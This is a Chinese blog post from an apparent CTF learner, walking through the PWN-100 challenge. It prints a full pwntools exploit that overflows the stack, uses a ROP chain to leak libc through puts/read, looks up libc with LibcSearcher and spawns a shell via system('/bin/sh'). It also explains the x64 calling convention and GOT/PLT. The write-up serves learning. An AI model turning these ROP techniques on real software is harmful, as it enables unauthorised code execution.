menu 牢记自己是菜
RE.从零开始的pwn生活 第六日 PWN100学习与复现
1058 浏览 | 2020-08-10 | 阅读时间: 约 3 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1346 天前,最后修改于 1346 天前,其中某些信息可能已经过时。

0x1 前言

今天主要是做到一道题目,是攻防世界上的PWN-100.做过的同学们都知道,这是一道linc的泄露的题目,最后进行栈溢出就可以了,但是我发现了一个严重的问题,就是ROP中的理论完全不会(不太清楚吧),所以就特此抽出时间,来搞一下这部分的理论学习。所以这里以鼎哥的exp为基础,好好的复现一下这一道题目的做法与流程。


0x2 首先是一个库的安装--LibcSearcher

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

软件包有点大,下不下来的可以选择使用马云先进行克隆下载,这里不多赘述了。

0x3 题目exp与流程

首先放上鼎哥的exp:我们一点点来研究

#coding:utf8
from pwn import *
from LibcSearcher import *
elf = ELF('./100')
#x86都是靠栈来传递参数的而x64换了它顺序是r, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈
readgot = elf.got['read']
putaddr = elf.sym['puts']
print hex(readgot)
print hex(putaddr)
mainaddr = 0x4006B8c
#pop rdi 的地址
poprdi = 0x400763
#ROPgadget --binary 100 --only 'pop|ret'
sh = process('./100')
#sh = remote('220.249.52.133','53574')
#这个payload用于泄露 read 位于 libc 的地址
#pop rdi将 read 的地址加载到 rdi 中,用于传给 put 输出显示
#mainaddr 为覆盖 rip,这样我们又可以重新执行 main 函数了
payload = 'a'*0x48 + p64(poprdi) + p64(readgot) + p64(putaddr) + p64(mainaddr)
payload = payload.ljust(200,'B')
print payload
f = open("out.txt", "w")
print >> f,payload
f.close()
sh.send(payload)
sh.recvuntil('bye~\n')
#注意,这步重要,必须要去掉末尾的\n 符号,凑够8位
s = sh.recv().split('\n')[0].ljust(8,'\x00')
print s
#得到 read 的地址
addr = u64(s)
print hex(addr)
#libc 数据库查询
obj = LibcSearcher("read",addr)
#得到 libc 加载地址
libc_base = addr - obj.dump('read')
#获得 system 地址
system_addr = obj.dump("system") + libc_base
#获得/bin/sh 地址
binsh_addr = obj.dump("str_bin_sh") + libc_base
print hex(system_addr)
print hex(binsh_addr)
f = open("out1.txt", "w")
payload = 'a'*0x48 + p64(poprdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,'C')
print >> f,payload
f.close()
sh.send(payload)
sh.interactive()

我们先观察一下这道题目的漏洞。这道题目是个很明显的栈溢出的题目,但是不同于简单的栈溢出,我们是没有后门函数可以使用的,所以一切都要靠我们自己。观察一下漏洞代码,首先题目给了我们一个buf,他只有100个字节,但是read函数却读取了200个字节,所以形成了栈溢出。如果只是这样,我也不会单独的说这一道题目,这道题目需要我们对动态链接的libc进行泄露,从而获取我们要执行的system函数的地址。我们主要就是观察这个泄露的过程。
在开始观察之前我们要解决一个问题,就是我们平时的payload是写在python中的,有些不可见字符不是我们想复制就能复制的,但是我们要在GDB中才可以观察整个程序的相关流程。怎么才可以与GDB进行联动,是我们首先要解决的问题。我选择了文件输入的方式。
GDB与文件联动的方式:将文件作为程序的输入载入GDB

r <out.txt

好了我们来观察一下泄露的过程吧,首先我们来到第一次payload填入的地方:

除去我们填入的a与B中间的部分就是我们构造的栈帧。由于偏移都是我们事先算好的,所以整个程序在抵达以一个ret的时候就会把我们第一个构造的地址弹出,试程序跳转至那里。

这里是我们在程序中寻找到的pop函数,为啥找到这个函数我们等会在解释。
然后将我们readadrss弹到寄存器中,调用put函数,最后在此回到主函数。这就是第一个payload执行的过程。

0x4 64位程序调用规则

众所周知,64位程序与32位程序最明显的区别就在于调用函数。对于32位的程序,假设这个函数需要3个参数,程序会先把这三个参数压入栈中,在调用函数。而64位程序,头6个参数是寄存器传参的,大于六个参数后才可以使用栈。由于我们只能运用程序修改栈内的数据,所以我们需要找到一段代码,由他来实现从栈内弹值进入寄存器。很巧,每一个x64程序都会有一段这样子的程序。

这里正好是6个寄存器,所以我们只需要根据我们需要传递的参数,选择代码执行的地方,从而选择我们要弹出的数据个数。由于我们要调用put函数来获得read函数在libc中的地址,所以只需要传递一个参数。程序流程在这里:

0x5 got表与plt

这个问题可以看鼎哥博客讲解,这里我只说两个函数。

from pwn import *
elf = ELF('./a.out')
putaddr = elf.sym['puts']
putaddr1 = elf.got['puts']
print hex(putaddr)
print hex(putaddr1)

这两个函数是在程序中,自动获取got表中的地址和plt中的地址。这里牵扯到程序的延时绑定,可以仔细地学习一下。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!